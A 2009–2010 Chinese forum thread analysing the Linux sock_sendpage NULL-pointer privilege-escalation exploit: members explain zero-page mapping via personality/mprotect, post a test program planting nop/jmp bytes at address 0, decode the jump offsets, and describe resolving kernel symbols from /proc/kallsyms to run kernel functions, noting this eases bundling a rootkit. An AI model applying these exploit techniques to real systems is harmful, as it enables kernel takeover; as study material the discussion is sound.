
原帖由 kouu 于 2009-8-19 14:58 發(fā)表
不過我感覺內(nèi)核應(yīng)該限制一下對(duì)0地址的分配(任何vma都不能包含0地址),因?yàn)榱?xí)慣上很多情況下都把NULL看成是非法的了。


:wink: 同感, 呵呵
作者: CUDev    時(shí)間: 2009-08-26 10:07
標(biāo)題: 回復(fù) #34 bobozhang 的帖子
http://www.milw0rm.com/exploits/9479

milw0rm上的一個(gè)exploit中有一段解釋,來支持這個(gè)觀點(diǎn):
        /*
        ** By calling iret after pushing a register into kernel stack,
        ** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
        **
        ** kernel_code() function will return to its previous status which means before sendfile() system call,
        ** after operating upon a ring0(kernel mode) privilege level.
        ** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
        */

作者: kouu    時(shí)間: 2009-08-26 14:00
標(biāo)題: 回復(fù) #49 CUDev 的帖子
按我的理解,在kernel_code中return,并不是直接返回到用戶態(tài)去的。
sendfile系統(tǒng)調(diào)用有自己的流程:創(chuàng)建一個(gè)pipe作緩沖用、從in_fd讀數(shù)據(jù)到pipe、將pipe的數(shù)據(jù)寫到out_fd、循環(huán)直到滿足條件……
存在漏洞的sock_sendpage函數(shù)是在“將pipe的數(shù)據(jù)寫到out_fd”這個(gè)階段,從kernel_code返回也就是退出這個(gè)階段。

這里有兩個(gè)問題:
1、kernel_code返回值是void,但是原本的sock->ops->sendpage是有ssize_t返回值的,于是kernel_code返回后,上層調(diào)用者將在棧中得到一個(gè)假的返回值;
2、kernel_code返回后,循環(huán)會(huì)退出嗎(sendfile完畢 或 出錯(cuò))?(可以看到,#49的鏈接中,用戶態(tài)調(diào)用sendfile時(shí)的count參數(shù)值為2,但LZ的例子中這個(gè)值是PAGE_SIZE,可能是為了退出循環(huán));

如果以上兩個(gè)問題處理不當(dāng),直接從kernel_code返回可能是有問題的。如果沒有問題,那么可能是巧合、或者是作者精心考慮過的。


另外,#49 鏈接給出的代碼中,通過一個(gè)棧變量where的地址來找到tast_struct,感覺確實(shí)比用匯編來取ESP好~
作者: CUDev    時(shí)間: 2009-08-26 15:18
實(shí)際上之前我還發(fā)過一個(gè)exploit的例子,里面是return int的。這個(gè)kernel_code()最后返回會(huì)到調(diào)用send_page()的地方。

但是,現(xiàn)在還有一個(gè)問題,就是之前說的問題,kernel_code()中調(diào)用C庫中的memcpy()的問題,這個(gè)問題該如何解釋?
作者: kouu    時(shí)間: 2009-08-26 16:26
標(biāo)題: 回復(fù) #51 CUDev 的帖子
呵呵,我還是覺得在kernel_code()函數(shù)中調(diào)用C庫的函數(shù)是可以的~

本來打算驗(yàn)證一下的,上次做了一下實(shí)驗(yàn),ubuntu直接就整個(gè)掛起了(屏幕定格、無任何響應(yīng)),也不知道是什么問題。 感覺在PC上做這種事情實(shí)在太惡心…… 以前都是在嵌入式開發(fā)版上搞的,隨便折騰。可惜現(xiàn)在沒這個(gè)環(huán)境了……

也希望哪位朋友有興趣的話驗(yàn)證一下,給個(gè)結(jié)論~ 呵呵
作者: CUDev    時(shí)間: 2009-08-26 23:09
Robert Love的LKD中:
與用戶空間的應(yīng)用程序不同,內(nèi)核是不能鏈接使用標(biāo)準(zhǔn)C函數(shù)庫(其他的那些庫也不行)。造成這種情況的原因有很多,其中就包括先有雞還是先有蛋的這個(gè)悖論。不過最主要的原因在于速度和大小。對(duì)于內(nèi)核來講,完整的C庫太大了------即便是從中抽取出一個(gè)合適的子集------大小和效率都不能被接收。


像printf這樣的庫函數(shù),應(yīng)該是不能在Kernel中直接call的。但是其他一些函數(shù),它們的實(shí)現(xiàn)不進(jìn)行系統(tǒng)調(diào)用,有些理論上是可以的。但是,在動(dòng)態(tài)編譯的時(shí)候,想memset()這樣的地址是如何搞定的呢?難道加載器在內(nèi)核態(tài)運(yùn)行,解析符號(hào)地址?
作者: cugb_cat    時(shí)間: 2009-08-27 13:51
這個(gè)代碼在64位系統(tǒng)下編不過啊。。匯編器報(bào)錯(cuò)了
作者: Godbach    時(shí)間: 2009-08-27 14:20
原帖由 cugb_cat 于 2009-8-27 13:51 發(fā)表
這個(gè)代碼在64位系統(tǒng)下編不過啊。。匯編器報(bào)錯(cuò)了


cat把錯(cuò)誤信息貼出來,以便熟悉匯編的朋友給出解釋。。
作者: cugb_cat    時(shí)間: 2009-08-27 14:23
原帖由 Godbach 于 2009-8-27 14:20 發(fā)表


cat把錯(cuò)誤信息貼出來,以便熟悉匯編的朋友給出解釋。。

  1. mqq@208_96:/tmp> ./run.sh
  2. /tmp/ccXvMmLd.s: Assembler messages:
  3. /tmp/ccXvMmLd.s:12: Error: Incorrect register `%rax' used with `l' suffix
  4. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rdx' used with `l' suffix
  5. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rax' used with `l' suffix
復(fù)制代碼


  1. mqq@208_96:/tmp> uname -a
  2. Linux 208_96 2.6.16.60-0.21-******64-090415 #7 SMP Wed Apr 15 09:25:02 CST 2009 x86_64 x86_64 x86_64 GNU/Linux
復(fù)制代碼


  1. mqq@208_96:/tmp> gcc -v
  2. Using built-in specs.
  3. Target: x86_64-suse-linux
  4. Configured with: ../configure --enable-threads=posix --prefix=/usr --with-local-prefix=/usr/local --infodir=/usr/share/info --mandir=/usr/share/man --libdir=/usr/lib64 --libexecdir=/usr/lib64 --enable-languages=c,c++,objc,fortran,obj-c++,java,ada --enable-checking=release --with-gxx-include-dir=/usr/include/c++/4.1.2 --enable-ssp --disable-libssp --disable-libgcj --with-slibdir=/lib64 --with-system-zlib --enable-shared --enable-__cxa_atexit --enable-libstdcxx-allocator=new --program-suffix= --enable-version-specific-runtime-libs --without-system-libunwind --with-cpu=generic --host=x86_64-suse-linux
  5. Thread model: posix
  6. gcc version 4.1.2 20070115 (prerelease) (SUSE Linux)
復(fù)制代碼

作者: Godbach    時(shí)間: 2009-08-27 14:28
能不能將32位上編譯出來的那個(gè)可執(zhí)行文件直接放在64位上試一下?
作者: cugb_cat    時(shí)間: 2009-08-27 14:53
原帖由 Godbach 于 2009-8-27 14:28 發(fā)表
能不能將32位上編譯出來的那個(gè)可執(zhí)行文件直接放在64位上試一下?

mmap出錯(cuò)。。。
但是這個(gè)代碼在64位系統(tǒng)上編譯后,是可以成功的:

  1. #include <stdio.h>
  2. #include <sys/personality.h>
  3. #include <sys/mman.h>

  4. typedef void test();

  5. void testfn()
  6. {
  7.         printf("testfn success\n");
  8. }

  9. int main(int argc, char **argv)
  10. {
  11.         void *mem;
  12.         //personality(PER_SVR4);
  13.         if ((personality(0xffffffff)) != PER_SVR4) {
  14.                 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  15.                 if (mem != NULL) {
  16.                         /* for old kernels with SELinux that don't allow RWX anonymous mappings
  17.                            luckily they don't have NX support either ;) */
  18.                         mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  19.                         if (mem != NULL) {
  20.                                 fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
  21.                                 return 1;
  22.                         }
  23.                 }
  24.         } else {
  25.                 int ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  26.                 if (ret == -1) {
  27.                         fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
  28.                         return 1;
  29.                 }
  30.         }
  31.         printf("success\n");
  32.         *(char *)0 = '\x90';
  33.         *(char *)1 = '\xe9';
  34.         *(unsigned long *)2 = (unsigned long)&testfn - 6;
  35.         ((test *)0)();
  36.         return 0;
  37. }
復(fù)制代碼

作者: vbs100    時(shí)間: 2009-08-28 16:45
大家測試要小心了 剛把公司一個(gè)8 cpu的服務(wù)囂搞掛掉了

  1. $ uname -a
  2. Linux RD 2.6.9-78.ELsmp #1 SMP Wed Jul 9 15:39:47 EDT 2008 i686 i686 i386 GNU/Linux
  3. $ cat /proc/cpuinfo
  4. ...
  5. processor       : 7
  6. vendor_id       : GenuineIntel
  7. cpu family      : 6
  8. model           : 23
  9. model name      : Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
  10. stepping        : 10
  11. cpu MHz         : 2000.129
  12. cache size      : 6144 KB
  13. physical id     : 1
  14. siblings        : 4
  15. core id         : 7
  16. cpu cores       : 4
  17. fdiv_bug        : no
  18. hlt_bug         : no
  19. f00f_bug        : no
  20. coma_bug        : no
  21. fpu             : yes
  22. fpu_exception   : yes
  23. cpuid level     : 13
  24. wp              : yes
  25. flags           : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc pni monitor ds_cpl tm2 xtpr
  26. bogomips        : 4000.12
復(fù)制代碼

Aug 28 14:50:19 RD kernel: CSLIP: code copyright 1989 Regents of the University of California
Aug 28 14:50:19 RD kernel: PPP generic driver version 2.4.2
Aug 28 14:50:19 RD kernel: NET: Registered protocol family 24
Aug 28 14:50:19 RD kernel: Unable to handle kernel paging request at virtual address 0000a206
Aug 28 14:50:19 RD kernel:  printing eip:
Aug 28 14:50:19 RD kernel: 08048803
Aug 28 14:50:19 RD kernel: *pde = 36847001
Aug 28 14:50:19 RD kernel: Oops: 0000 [#1]
Aug 28 14:50:19 RD kernel: SMP
Aug 28 14:50:19 RD kernel: Modules linked in: pppoe pppox ppp_generic slhc parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc cpufreq_powersave ib_srp ib_sdp ib_ipoib rdma_ucm rdma_cm iw_cm ib_addr ib_umad ib_ucm ib_uverbs ib_cm ib_sa ib_mad ib_core dm_mirror dm_multipath dm_mod button battery ac md5 ipv6 joydev ehci_hcd uhci_hcd i5000_edac edac_mc hw_random bnx2 ext3 jbd ata_piix libata cciss sd_mod scsi_mod
Aug 28 14:50:19 RD kernel: CPU:    0
Aug 28 14:50:19 RD kernel: EIP:    0060:[<08048803>]    Not tainted VLI
Aug 28 14:50:19 RD kernel: EFLAGS: 00010293   (2.6.9-78.ELsmp)
Aug 28 14:50:19 RD kernel: EIP is at 0x8048803
Aug 28 14:50:19 RD kernel: eax: 0000a206   ebx: f8d084a0   ecx: 00000000   edx: c17e3f60
Aug 28 14:50:19 RD kernel: esi: d495ec80   edi: e9665f50   ebp: e9665e88   esp: e9665e74
Aug 28 14:50:19 RD kernel: ds: 007b   es: 007b   ss: 0068
Aug 28 14:50:19 RD kernel: Process exploit (pid: 4292, threadinfo=e9665000 task=d576c1f0)
Aug 28 14:50:19 RD kernel: Stack: 0000a206 0000a206 0000a206 00000000 f8d084a0 00001000 c028378a 00001000
Aug 28 14:50:19 RD kernel:        00000000 c035d420 00001000 c01420cb 00001000 f57fc0e4 00000000 c035d420
Aug 28 14:50:20 RD kernel:        00000000 c17e3f60 00000000 00000000 c0141a97 00001000 fffcfc50 00001000
Aug 28 14:50:20 RD kernel: Call Trace:
Aug 28 14:50:20 RD kernel:  [<c028378a>] sock_sendpage+0x37/0x3c
Aug 28 14:50:20 RD kernel:  [<c01420cb>] file_send_actor+0x30/0x49
Aug 28 14:50:20 RD kernel:  [<c0141a97>] do_generic_mapping_read+0x1b2/0x445
Aug 28 14:50:20 RD kernel:  [<c0174b9e>] notify_change+0x25e/0x268
Aug 28 14:50:20 RD kernel:  [<c0142128>] generic_file_sendfile+0x44/0x57
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d034>] do_sendfile+0x24a/0x290
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d122>] sys_sendfile+0xa8/0xb4
Aug 28 14:50:20 RD kernel:  [<c02e09db>] syscall_call+0x7/0xb
Aug 28 14:50:20 RD kernel: Code:  Bad EIP value.
Aug 28 14:50:20 RD kernel:  <0>Fatal exception: panic in 5 seconds
Aug 28 16:29:14 RD syslogd 1.4.1: restart.
Aug 28 16:29:14 RD syslog: syslogd startup succeeded

[ 本帖最后由 vbs100 于 2009-8-28 16:53 編輯 ]
作者: suntnt0218    時(shí)間: 2009-09-08 14:14
標(biāo)題: 回復(fù) #12 bobozhang 的帖子
為什么說eip在執(zhí)行jmp時(shí)的值是6呢
作者: suntnt0218    時(shí)間: 2009-09-08 14:17
標(biāo)題: 回復(fù) #12 bobozhang 的帖子
誰能給我講講它是怎么跳轉(zhuǎn)到地址0處執(zhí)行指令的
作者: arlikiss    時(shí)間: 2009-09-17 17:05
標(biāo)題: 再學(xué)習(xí)一次,謝謝
再學(xué)習(xí)一次謝謝。。。
作者: kouu    時(shí)間: 2009-11-15 01:26
突然想到一個(gè)問題,mmap映射0地址能夠映射成功嗎?

在我的Ubuntu 9.04,Linux 2.6.28-12-generic上,mmap映射0地址是不能成功的。
至于exploit的代碼在我的機(jī)器上能夠成功執(zhí)行,是因?yàn)閑xploit是由run.c編譯的可執(zhí)行文件來調(diào)用的。在run.c中,通過personality將可執(zhí)行文件的執(zhí)行域設(shè)置為SVR4。然后通過mprotect修改0地址的屬性。

那么,SRV4上的進(jìn)程內(nèi)存是如何部局的呢?0地址上默認(rèn)放的是什么東西呢?
而在32位linux上,地址空間一般使用的是08048000-c0000000。08048000以下的空間能夠映射嗎?要怎么映射?

望高人指點(diǎn)呀~
作者: kouu    時(shí)間: 2009-11-16 11:19
原帖由 kouu 于 2009-11-15 01:26 發(fā)表
突然想到一個(gè)問題,mmap映射0地址能夠映射成功嗎?

在我的Ubuntu 9.04,Linux 2.6.28-12-generic上,mmap映射0地址是不能成功的。
至于exploit的代碼在我的機(jī)器上能夠成功執(zhí)行,是因?yàn)閑xploit是由run.c編譯 ...


呵呵,在linux 2.6.29.4的代碼中找到了以下一些內(nèi)容:

personality.h

  1. enum {
  2.         ......
  3.         PER_SVR4 =                0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
  4.         ......
  5. };
復(fù)制代碼


binfmt_elf.c:load_elf_binary()

  1. ......
  2.         if (current->personality & MMAP_PAGE_ZERO) {
  3.                 /* Why this, you ask???  Well SVr4 maps page 0 as read-only,
  4.                    and some applications "depend" upon this behavior.
  5.                    Since we do not have the power to recompile these, we
  6.                    emulate the SVr4 behavior. Sigh. */
  7.                 down_write(&current->mm->mmap_sem);
  8.                 error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
  9.                                 MAP_FIXED | MAP_PRIVATE, 0);
  10.                 up_write(&current->mm->mmap_sem);
  11.         }
  12. ......
復(fù)制代碼

作者: Godbach    時(shí)間: 2010-01-12 11:07
呵呵,我還是覺得在kernel_code()函數(shù)中調(diào)用C庫的函數(shù)是可以的~

本來打算驗(yàn)證一下的,上次做了一下實(shí)驗(yàn),ubuntu直接就整個(gè)掛起了(屏幕定格、無任何響應(yīng)),也不知道是什么問題。 感覺在PC上做這種事情實(shí)在太惡心…… 以前都是在嵌入式開發(fā)版上搞的,隨便折騰。可惜現(xiàn)在沒這個(gè)環(huán)境了……

也希望哪位朋友有興趣的話驗(yàn)證一下,給個(gè)結(jié)論~ 呵呵


昨晚簡單驗(yàn)證了一下,kernel_code中添加printf和memset函數(shù),直接把內(nèi)核的stack搞壞。我用的是虛擬機(jī),系統(tǒng)直接被關(guān)掉了。
作者: Godbach    時(shí)間: 2010-01-12 15:38
哪位介紹一下這個(gè)漏洞和selinux有什么關(guān)系。因?yàn)閺钠渲幸粋(gè)簡單的測試?yán)锍躺,看不出來和selinux有關(guān)系啊。
作者: W.Z.T    時(shí)間: 2010-01-15 10:56
原帖由 suntnt0218 于 2009-9-8 14:17 發(fā)表
誰能給我講講它是怎么跳轉(zhuǎn)到地址0處執(zhí)行指令的


當(dāng)內(nèi)核進(jìn)行一個(gè)空指針引用的時(shí)候, 會(huì)引發(fā)一次缺頁異常中斷, do_page_fault函數(shù)會(huì)進(jìn)行處理, 打印oops信息,然后殺死當(dāng)前進(jìn)程。 exploit程序在攻擊之前已經(jīng)通過匿名映射在內(nèi)存0地址出映射好了exploit代碼, 所以不會(huì)引發(fā)缺頁異常。
作者: W.Z.T    時(shí)間: 2010-01-15 11:00


[ 本帖最后由 W.Z.T 于 2010-1-15 13:41 編輯 ]
作者: Godbach    時(shí)間: 2010-01-15 11:01
原帖由 W.Z.T 于 2010-1-15 10:56 發(fā)表


當(dāng)內(nèi)核進(jìn)行一個(gè)空指針引用的時(shí)候, 會(huì)引發(fā)一次缺頁異常中斷, do_page_fault函數(shù)會(huì)進(jìn)行處理, 打印oops信息,然后殺死當(dāng)前進(jìn)程。 exploit程序在攻擊之前已經(jīng)通過匿名映射在內(nèi)存0地址出映射好了exploit代碼, ...


請(qǐng)教W.Z.T兄,你認(rèn)為跳轉(zhuǎn)到0地址出執(zhí)行的函數(shù)代碼是屬于用戶空間的代碼,還是內(nèi)核空間的代碼。
作者: BB_CULL    時(shí)間: 2010-01-15 11:11
提示: 作者被禁止或刪除 內(nèi)容自動(dòng)屏蔽
作者: W.Z.T    時(shí)間: 2010-01-15 12:40
原帖由 Godbach 于 2010-1-15 11:01 發(fā)表


請(qǐng)教W.Z.T兄,你認(rèn)為跳轉(zhuǎn)到0地址出執(zhí)行的函數(shù)代碼是屬于用戶空間的代碼,還是內(nèi)核空間的代碼。


我的理解是0地址上的代碼是由用戶自己通過mmap映射的, 當(dāng)用戶進(jìn)程去觸發(fā)這個(gè)kernel bug的時(shí)候, 是通過系統(tǒng)調(diào)用進(jìn)入內(nèi)核空間,內(nèi)核通過進(jìn)程上下文current代表進(jìn)程繼續(xù)執(zhí)行, 當(dāng)eip執(zhí)行到了一個(gè)0x0地址時(shí), 它開始執(zhí)行用戶空間映射過來的代碼, 由于有進(jìn)程上下文,又是在內(nèi)核態(tài), 所以可以修改當(dāng)前進(jìn)程的任何信息包括內(nèi)核其他代碼。 不知道這樣理解對(duì)不對(duì)?

》昨晚簡單驗(yàn)證了一下,kernel_code中添加printf和memset函數(shù),直接把內(nèi)核的stack搞壞。我用的是虛擬機(jī),系統(tǒng)直接被關(guān)掉了。

我覺得內(nèi)核是不能調(diào)用c庫的, 你可以自己實(shí)現(xiàn)一個(gè)類似printk的函數(shù)放在kernel code中, 這樣應(yīng)該不會(huì)出錯(cuò), 或者通過/proc/kallsyms先找到printk的地址, 然后再kernel中引用, 不知道這樣可不可行, 我沒試過, 兄弟可以驗(yàn)證下。海

[ 本帖最后由 W.Z.T 于 2010-1-15 12:46 編輯 ]
作者: W.Z.T    時(shí)間: 2010-01-15 12:51
原帖由 Godbach 于 2010-1-12 15:38 發(fā)表
哪位介紹一下這個(gè)漏洞和selinux有什么關(guān)系。因?yàn)閺钠渲幸粋(gè)簡單的測試?yán)锍躺,看不出來和selinux有關(guān)系啊。


我記得有一些兄弟在開啟selinux的情況下, 就能溢出成功, 關(guān)閉的情況下就不能溢出成功。 好像早期版本的selinux代碼允許映射0的地址, 這樣sys_mmap2即使不允許映射0地址, 但selinux確讓它允許映射,  具體代碼沒有仔細(xì)看過。
作者: Godbach    時(shí)間: 2010-01-15 12:58
我的理解是0地址上的代碼是由用戶自己通過mmap映射的, 當(dāng)用戶進(jìn)程去觸發(fā)這個(gè)kernel bug的時(shí)候,是通過系統(tǒng)調(diào)用進(jìn)入內(nèi)核空間,內(nèi)核通過進(jìn)程上下文current代表進(jìn)程繼續(xù)執(zhí)行, 當(dāng)eip執(zhí)行到了一個(gè)0x0地址時(shí),它開始執(zhí)行用戶空間映射過來的代碼, 由于有進(jìn)程上下文,又是在內(nèi)核態(tài), 所以可以修改當(dāng)前進(jìn)程的任何信息包括內(nèi)核其他代碼。 不知道這樣理解對(duì)不對(duì)?

恩,這個(gè)地方我理解的也是kernel_code應(yīng)該算是內(nèi)核態(tài)的代碼,不能調(diào)用用戶空間的庫。

我覺得內(nèi)核是不能調(diào)用c庫的, 你可以自己實(shí)現(xiàn)一個(gè)類似printk的函數(shù)放在kernel code中, 這樣應(yīng)該不會(huì)出錯(cuò),或者通過/proc/kallsyms先找到printk的地址, 然后再kernel中引用, 不知道這樣可不可行, 我沒試過,兄弟可以驗(yàn)證下啊:)

你的這個(gè)建議不錯(cuò),將內(nèi)核態(tài)的符號(hào)表導(dǎo)出來,然后將該地址轉(zhuǎn)換成函數(shù)指針,進(jìn)行調(diào)用。可以試一下。
作者: Godbach    時(shí)間: 2010-01-15 13:00
我記得有一些兄弟在開啟selinux的情況下, 就能溢出成功, 關(guān)閉的情況下就不能溢出成功。 好像早期版本的selinux代碼允許映射0的地址, 這樣sys_mmap2即使不允許映射0地址, 但selinux確讓它允許映射,  具體代碼沒有仔細(xì)看過。

這個(gè)地方和SElinux有一些關(guān)系,也就在于SElinux默認(rèn)又開啟了0地址可以被映射。

我測試了就沒有安裝SElinux模塊的系統(tǒng),也是可以侵入的。不過用的代碼是另外一個(gè)例程。九賤兄分析的這個(gè)exp代碼是個(gè)簡化版的,有一定的局限性。
作者: Godbach    時(shí)間: 2010-01-15 13:48
試驗(yàn)了一把,通過/proc/kallsyms獲取到printk的地址,然后就可以在kernel_code中調(diào)用了。打印的信息輸出到日志里了
作者: W.Z.T    時(shí)間: 2010-01-15 14:42
原帖由 Godbach 于 2010-1-15 13:48 發(fā)表
試驗(yàn)了一把,通過/proc/kallsyms獲取到printk的地址,然后就可以在kernel_code中調(diào)用了。打印的信息輸出到日志里了


頂, Godbach兄動(dòng)作果然快, 贊~
作者: Godbach    時(shí)間: 2010-01-15 15:12
原帖由 W.Z.T 于 2010-1-15 14:42 發(fā)表


頂, Godbach兄動(dòng)作果然快, 贊~


應(yīng)該多些W.Z.T兄的指點(diǎn)才對(duì)。

我用的是另外一個(gè)例程,exploit.c中添加
int (*printk)(const char *fmt, ...);

然后獲得printk的地址
  1.         printk = (int (*)(const char *fmt, ...))get_kernel_sym("printk");
復(fù)制代碼

然后就可以調(diào)用printk了。
作者: W.Z.T    時(shí)間: 2010-01-15 15:52
原帖由 Godbach 于 2010-1-15 15:12 發(fā)表


應(yīng)該多些W.Z.T兄的指點(diǎn)才對(duì)。

我用的是另外一個(gè)例程,exploit.c中添加

然后獲得printk的地址
        printk = (int (*)(const char *fmt, ...))get_kernel_sym("printk");
然后就可以調(diào)用printk了。


這樣其實(shí)可以把exp + rootkit一氣呵成的寫了, 呵呵
作者: Godbach    時(shí)間: 2010-01-15 16:19
原帖由 W.Z.T 于 2010-1-15 15:52 發(fā)表


這樣其實(shí)可以把exp + rootkit一氣呵成的寫了, 呵呵

基本上可以調(diào)用內(nèi)核里面所有導(dǎo)出的接口了。剛試了一下kerne_power_off,直接就把系統(tǒng)關(guān)機(jī)了。
作者: li32768    時(shí)間: 2010-01-17 16:42
這個(gè)很強(qiáng)悍,很好很強(qiáng)大
作者: Godbach    時(shí)間: 2010-01-20 10:31
(這個(gè) - 6是什么意思,大家指點(diǎn)一下)
在地址0x0處埋下代碼kernel_code 函數(shù),因?yàn)?x90 = nop, 0xe9 = jmp
上面代碼可表示為在映射的地址0處,執(zhí)行


查了一下手冊(cè)。這里E9對(duì)應(yīng)的jmp是相對(duì)跳轉(zhuǎn)。也就是jmp 后面跟的操作數(shù),應(yīng)該是應(yīng)跳轉(zhuǎn)到的地址和當(dāng)前下一條指令地址之間的差值。
當(dāng)前jmp下一條指令的地址應(yīng)該是6, 所以jmp后面的操作數(shù)應(yīng)該是&kernel_code -6.
也就是*(unsigned long *)2 = &kernel_code -6

見intel的手冊(cè)
E9 cw JMP rel16 A N.S. Valid
     Jump near, relative,displacement relative to next instruction. Not supported in 64-bit mode.
E9 cd JMP rel32 A Valid Valid
     Jump near, relative, RIP =RIP + 32-bit displacement sign extended to 64-bits

作者: W.Z.T    時(shí)間: 2010-01-20 13:54
原帖由 Godbach 于 2010-1-20 10:31 發(fā)表


查了一下手冊(cè)。這里E9對(duì)應(yīng)的jmp是相對(duì)跳轉(zhuǎn)。也就是jmp 后面跟的操作數(shù),應(yīng)該是應(yīng)跳轉(zhuǎn)到的地址和當(dāng)前下一條指令地址之間的差值。
當(dāng)前jmp下一條指令的地址應(yīng)該是6, 所以jmp后面的操作數(shù)應(yīng)該是&kernel_code ...


nop, jmp各占一個(gè)字節(jié), offset戰(zhàn)4個(gè)字節(jié),jmp后面的地址為便宜地址就是kernel_code的地址減去jmp之后下一條指令的地址, 下一條指令的地址就是1+1+4, 因?yàn)槭菑膬?nèi)存0開始算的。
作者: Godbach    時(shí)間: 2010-01-20 13:57
        mem[0] = '\xff';
        mem[1] = '\x25';
        *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
        *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;


另外一個(gè)例程使用的是絕對(duì)跳轉(zhuǎn),F(xiàn)F 25 是代表的JMP,但是這里mem[2]里面存儲(chǔ)的int型數(shù)值是做什么呢?
作者: gary721400    時(shí)間: 2010-01-21 14:20
學(xué)習(xí)了,佩服佩服!
作者: kwest    時(shí)間: 2010-01-26 23:48
強(qiáng)帖留名,很久沒上CU了。最近google sendfile調(diào)用才看到此帖,呵呵,有空好好研究研究。
作者: Godbach    時(shí)間: 2010-01-27 10:29
標(biāo)題: 回復(fù) #85 kwest 的帖子
確實(shí)很久沒見到kwest兄了
作者: z85525006    時(shí)間: 2010-07-23 19:09
原來就是這樣發(fā)現(xiàn) 系統(tǒng) 漏洞的阿`! 要是寫補(bǔ)丁的話,是不是重新寫個(gè)模塊就可以了,然后內(nèi)核編譯呢,

  似乎我有點(diǎn)點(diǎn)感覺了,




歡迎光臨 Chinaunix (http://72891.cn/) Powered by Discuz! X3.2